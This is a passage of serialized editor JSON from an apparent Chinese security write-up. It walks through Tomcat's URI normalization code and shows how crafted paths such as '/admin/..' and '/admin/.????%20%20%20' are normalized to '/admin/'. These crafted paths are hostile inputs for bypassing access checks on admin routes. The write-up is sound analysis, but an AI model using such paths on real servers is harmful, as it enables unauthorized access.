{&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QlFQ-1669643146094&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5j87-1669643146093&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return false;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZclA-1669643146096&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sU08-1669643146095&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rzKN-1669643146098&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uGbM-1669643146097&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dcHx-1669643146100&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DOoR-1669643146099&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qSqD-1669643146102&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gZWK-1669643146101&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            for(pos = start; pos &lt; end - 1; ++pos) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sYgs-1669643146104&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YsHS-1669643146103&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                if (b[pos] == 47) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sNkE-1669643146106&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6pcJ-1669643146105&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    while(pos + 1 &lt; end &amp;&amp; b[pos + 1] == 47) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Cxo2-1669643146108&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tlVf-1669643146107&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        copyBytes(b, pos, pos + 1, end - pos - 1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7hLB-1669643146110&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XxJy-1669643146109&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        --end;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fM7y-1669643146112&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4c4Y-1669643146111&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wzWx-1669643146114&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HETB-1669643146113&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HiMM-1669643146116&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kfuq-1669643146115&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LqYA-1669643146118&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8Z5G-1669643146117&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;epFG-1669643146120&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nxNS-1669643146119&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (end - start &gt;= 2 &amp;&amp; b[end - 1] == 46 &amp;&amp; (b[end - 2] == 47 || b[end - 2] == 46 &amp;&amp; b[end - 3] == 47)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;msxn-1669643146123&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RBae-1669643146122&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                b[end] = 47;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QXGC-1669643146125&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xp9c-1669643146124&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                ++end;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CIjH-1669643146127&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;v3a2-1669643146126&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yAvS-1669643146129&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2B8n-1669643146128&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;luct-1669643146131&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9txl-1669643146130&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            uriBC.setEnd(end);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4kI5-1669643146133&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6IWk-1669643146132&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            int index = 0;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pAf2-1669643146135&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QdsF-1669643146134&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SObG-1669643146137&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ns8U-1669643146136&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            while(true) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rgwb-1669643146139&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oDFb-1669643146138&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                index = uriBC.indexOf(\&#34;/./\&#34;, 0, 3, index);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KjDf-1669643146141&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uFZN-1669643146140&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                if (index &lt; 0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3rIe-1669643146143&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XySi-1669643146142&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    index = 0;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lLom-1669643146145&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mwn0-1669643146144&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;95UD-1669643146147&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LbnR-1669643146146&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    while(true) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ouQN-1669643146149&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mWcB-1669643146148&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        index = uriBC.indexOf(\&#34;/../\&#34;, 0, 4, index);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RblR-1669643146151&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BDxf-1669643146150&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        if (index &lt; 0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ooro-1669643146153&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eASq-1669643146152&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            return true;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eFmb-1669643146155&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jyap-1669643146154&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Jbbc-1669643146157&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nOd8-1669643146156&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Asyv-1669643146159&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Mjqw-1669643146158&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        if (index == 0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IFH8-1669643146161&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2k1P-1669643146160&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            return false;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Vi5K-1669643146163&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VWKq-1669643146162&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3dGq-1669643146165&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jXuN-1669643146164&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2GxP-1669643146167&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fsss-1669643146166&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        int index2 = -1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SJx9-1669643146169&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;65aF-1669643146168&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9ZXf-1669643146171&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XJ8A-1669643146170&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        for(pos = start + index - 1; pos &gt;= 0 &amp;&amp; index2 &lt; 0; --pos) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rfSw-1669643146173&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EfCJ-1669643146172&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            if (b[pos] == 47) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;y7YW-1669643146175&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vWtW-1669643146174&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                index2 = pos;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RH4U-1669643146178&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MKzC-1669643146177&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BD8d-1669643146180&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EB7O-1669643146179&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KjEL-1669643146182&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EhPJ-1669643146181&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ggs5-1669643146184&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TwEq-1669643146183&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        copyBytes(b, start + index2, start + index + 3, end - start - index - 3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;heim-1669643146187&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;k5Fy-1669643146186&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        end = end + index2 - index - 3;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SLs1-1669643146189&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T9gl-1669643146188&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        uriBC.setEnd(end);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;g4oM-1669643146191&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9WwV-1669643146190&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        index = index2;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hdDO-1669643146193&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;boDQ-1669643146192&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gUHP-1669643146195&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;s7p5-1669643146194&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;giMQ-1669643146197&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2rQ5-1669643146196&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jQlx-1669643146199&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;urur-1669643146198&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                copyBytes(b, start + index, start + index + 2, end - start - index - 2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;htvs-1669643146201&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2hHW-1669643146200&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                end -= 2;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5L1Y-1669643146203&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QlTz-1669643146202&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                uriBC.setEnd(end);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5IFU-1669643146205&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9GD0-1669643146204&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iNo3-1669643146207&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kbfy-1669643146206&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KjED-1669643146209&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1tGe-1669643146208&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;d0gg-1669643146211&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TSil-1669643146210&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jTZ4-1669643091278&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Hi8p-1669643091275&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;所以这里严格来说是tomcat的解析问题，导致下面这些URL所对应的wrapperPath&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tOde-1669643937216&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3ai4-1669643937215&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5ssH-1669643933795&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;/admin/.&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Hg4M-1669644116863&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FGgb-1669644116862&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;/admin/./&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pzw0-1669643941786&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tnRo-1669643941785&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;/admin/..&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cdtJ-1669643943381&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;adAl-1669643943379&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;/admin/../&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qg72-1669646552774&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kBwb-1669646552741&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;/admin/..??????&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kUJr-1669649755686&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9oWN-1669649755685&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;/admin/.????%20%20%20&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;w3id-1669649651244&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bATZ-1669649651241&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;/admin/..????%20%20%20&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;akyc-1669649707808&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;I47L-1669649707807&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;......&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;ruby&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;19Ai-1669643895220&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wkzn-1669643895218&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;分别被处理为&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c3tE-1669643990266&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3iD6-1669643990265&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CZLt-1669643985527&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;/admin/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Zy1m-1669644121319&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2Y2u-1669644121317&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;/admin/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#3